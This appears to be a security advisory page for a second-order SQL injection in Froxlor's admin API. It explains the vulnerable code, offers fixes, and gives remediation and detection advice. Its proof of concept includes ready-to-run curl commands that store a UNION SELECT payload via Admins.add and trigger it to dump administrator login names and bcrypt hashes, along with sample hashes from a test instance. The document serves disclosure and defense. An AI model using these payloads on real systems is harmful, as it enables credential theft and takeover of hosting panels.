CVE-2026-54348: Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration

Published Aug 18, 2026
·
Updated

Summary

A second-order SQL injection vulnerability in Froxlor's admin API allows an authenticated administrator to store a crafted SQL payload in the paneladmins.ip column via the Admins.add or Admins.update endpoint. The payload executes as a UNION-based SQL injection the next time IpsAndPorts.listing is called by the poisoned account, returning arbitrary data from the database — including all administrator login names and bcrypt password hashes.

---

Details

The vulnerability spans two code locations that form a store-then-trigger chain.

Stage 1 — Unsanitized array stored as JSON — lib/Froxlor/Api/Commands/Admins.php:251,358

php $ipaddress = $this->getParam('ipaddress', true, -1); // No type enforcement or content validation on $ipaddress. // PHP evaluates (isarray([...]) && nonemptyarray > 0) as true, // so any attacker-controlled array is JSON-encoded and stored verbatim. 'ip' => empty($ipaddress) ? "" : (isarray($ipaddress) && $ipaddress > 0 ? jsonencode($ipaddress) // ← attacker payload written to paneladmins.ip : -1),

The INSERT/UPDATE uses a prepared statement, so the write itself is safe. The danger is what is stored.

Stage 2 — JSON payload imploded directly into SQL — lib/Froxlor/Api/Commands/IpsAndPorts.php:71-77

php if (!empty($this->getUserDetail('ip')) && $this->getUserDetail('ip') != -1) { // jsondecode restores the array; implode joins elements with no casting or escaping $ipwhere = "WHERE id IN (" . implode(", ", jsondecode($this->getUserDetail('ip'), true)) . ")"; } $resultstmt = Database::prepare( "SELECT FROM panelipsandports " . $ipwhere . ... ); // Final SQL: SELECT FROM panelipsandports WHERE id IN (<PAYLOAD>)

The same unsanitized implode pattern exists in lib/Froxlor/Api/Commands/Domains.php:1016.

Every other place in the codebase that builds dynamic IN clauses uses either integer casting ((int)) or parameterized subqueries. The ip-column path is the sole exception.

---

PoC <img width="2452" height="1476" alt="image" src="https://github.com/user-attachments/assets/2cbff4f8-b316-4a86-95ce-71f5c14d0c95" />

Prerequisites: Valid Froxlor admin API key with changeserversettings = 1.

Step 1 — Poison: store the UNION SELECT payload via Admins.add

bash curl -s -u "APIKEY:SECRET" http://TARGET/api.php \ -H "Content-Type: application/json" \ -d '{ "command": "Admins.add", "params": { "name": "x", "newloginname": "eviladmin", "email": "x@x.local", "adminpassword": "Passw0rd!123", "ipaddress": ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM paneladmins-- -"] } }'

The ip column of paneladmins for eviladmin now contains: ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM paneladmins-- -"]

Step 2 — Trigger: call IpsAndPorts.listing as the poisoned account

No interaction beyond a single API call. Visiting the following URL while authenticated as eviladmin is sufficient:

http://TARGET/adminindex.php?page=ipsandports

Or directly via API:

bash curl -s -u "EVILAPIKEY:EVILSECRET" http://TARGET/api.php \ -H "Content-Type: application/json" \ -d '{"command":"IpsAndPorts.listing"}'

Confirmed output from live instance (localhost:8290):

json { "data": { "list": [ { "ip": "admin", "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu" }, { "ip": "eviladmin", "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S" } ] } }

The ip field returns loginname and port returns the bcrypt password hash of every administrator in the database.

Minimum reproduction — two CMD single-line commands:

Step 1: poison (run once with any admin API key that has changeserversettings=1):

cmd curl -su "APIKEY:SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"Admins.add\",\"params\":{\"name\":\"x\",\"newloginname\":\"poc\",\"email\":\"x@x.local\",\"adminpassword\":\"Passw0rd!1\",\"ipaddress\":[\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM paneladmins-- -\"]}}"

Step 2: trigger (run with the poisoned account's API key — visiting the page in a browser also suffices):

cmd curl -su "POCAPIKEY:POCSECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}"

Confirmed output from live instance (localhost:8290) — step 2 alone:

cmd curl -su "evilkeyabc123:evilsecretxyz456" http://localhost:8290/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}"

json { "data": { "list": [ { "ip": "admin", "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu" }, { "ip": "eviladmin", "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S" } ] } }

---

Impact

Type: Second-Order SQL Injection (UNION-based)

Who is impacted: Any Froxlor installation with the API enabled and at least one admin account that has changeserversettings = 1. The attack requires an authenticated admin API key, making it relevant in multi-admin deployments (hosting providers with reseller admins) where one admin may be malicious or compromised.

Consequences:

- Full credential dump — all admin and customer login names and bcrypt password hashes are extractable in a single request. - Lateral movement — cracked hashes allow login to other admin accounts or customer accounts. - Data exfiltration — the UNION SELECT can target any table in the database: customer data, email accounts, domain configurations, API keys. - Privilege escalation — a reseller admin (limited permissions) can extract the super-admin's credentials and gain full control of the panel.

---

Fix

Option A (recommended) — Integer-cast all elements before implode:

php // lib/Froxlor/Api/Commands/IpsAndPorts.php:72 $ipids = arraymap('intval', jsondecode($this->getUserDetail('ip'), true)); $ipwhere = "WHERE id IN (" . implode(", ", $ipids) . ")";

Option B — Validate at storage time in Admins.add / Admins.update:

php // lib/Froxlor/Api/Commands/Admins.php if (isarray($ipaddress)) { $ipaddress = arrayfilter($ipaddress, 'isnumeric'); } 'ip' => empty($ipaddress) ? "" : (isarray($ipaddress) && count($ipaddress) > 0 ? jsonencode(arraymap('intval', $ipaddress)) : -1),

Apply the same fix to the identical pattern in Domains.php:1016.

---

Other sources

Froxlor is open source server administration software. Prior to 2.3.8, the Admins.add and Admins.update endpoints in lib/Froxlor/Api/Commands/Admins.php accept an attacker-controlled ipaddress array and store it as JSON in paneladmins.ip without enforcing numeric element types. When the poisoned account later calls IpsAndPorts.listing, lib/Froxlor/Api/Commands/IpsAndPorts.php decodes the array and concatenates its elements into a SQL IN clause without casting or parameterization; the same unsafe pattern is present in lib/Froxlor/Api/Commands/Domains.php. An authenticated administrator with changeserversettings permission can store a UNION-based payload and trigger it through the poisoned account to retrieve arbitrary database data, including administrator login names and bcrypt password hashes, with potential privilege escalation and broader database impact. This issue is fixed in version 2.3.8.

MITRE

Affected Software

2 affected componentsFixes available
Froxlor<2.3.8
composer/froxlor/froxlor<2.3.8
2.3.8

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/froxlor/froxlor to a version that resolves this vulnerability.

    Fixed in 2.3.8
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 2.3.8
  3. Configuration

    Ensure only fully trusted administrators retain the `change_serversettings = 1` permission, since the vulnerability requires an authenticated admin API key with this permission to store the malicious `ipaddress` array payload via `Admins.add`/`Admins.update` and later trigger via `IpsAndPorts.listing`.

    Froxlor admin API / endpoints Admins.add and Admins.update change_serversettings (required permission for the vulnerable flow) = 1 (ensure only trusted admins have it; remove/deny for others)
  4. Compensating control

    Review and rotate any administrator/customer credentials potentially exposed via the UNION-based database exfiltration described (administrator login names and bcrypt password hashes), especially in deployments where a malicious admin API key could have been used to store the payload.

Event History

Aug 18, 2026
CVE Published
via MITRE·08:15 PM
Data Sourced
via MITRE·08:15 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·08:47 PM
Data Sourced
via GitHub·08:47 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who can exploit this issue?

Froxlor installations prior to 2.3.8 are affected. Exploitation requires an authenticated administrator account with the change_serversettings permission; the issue is not described as exploitable by an unauthenticated user.

2

What conditions are needed to trigger the SQL injection?

An attacker must submit a crafted ipaddress array through Admins.add or Admins.update, then cause the poisoned account to call IpsAndPorts.listing. The unsafe SQL pattern is also present in Domains.php.

3

What should be done if patching is not immediately possible?

Upgrade Froxlor to version 2.3.8, which fixes the issue. If upgrading cannot happen immediately, restrict change_serversettings permission to only fully trusted administrators and review use of the affected administrator-management endpoints.

4

How can I check for potential exploitation?

Review administrator accounts created or updated through Admins.add or Admins.update for ipaddress data containing non-numeric array elements or unexpected JSON content. Such values may indicate that an account was poisoned for later triggering through listing functionality.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203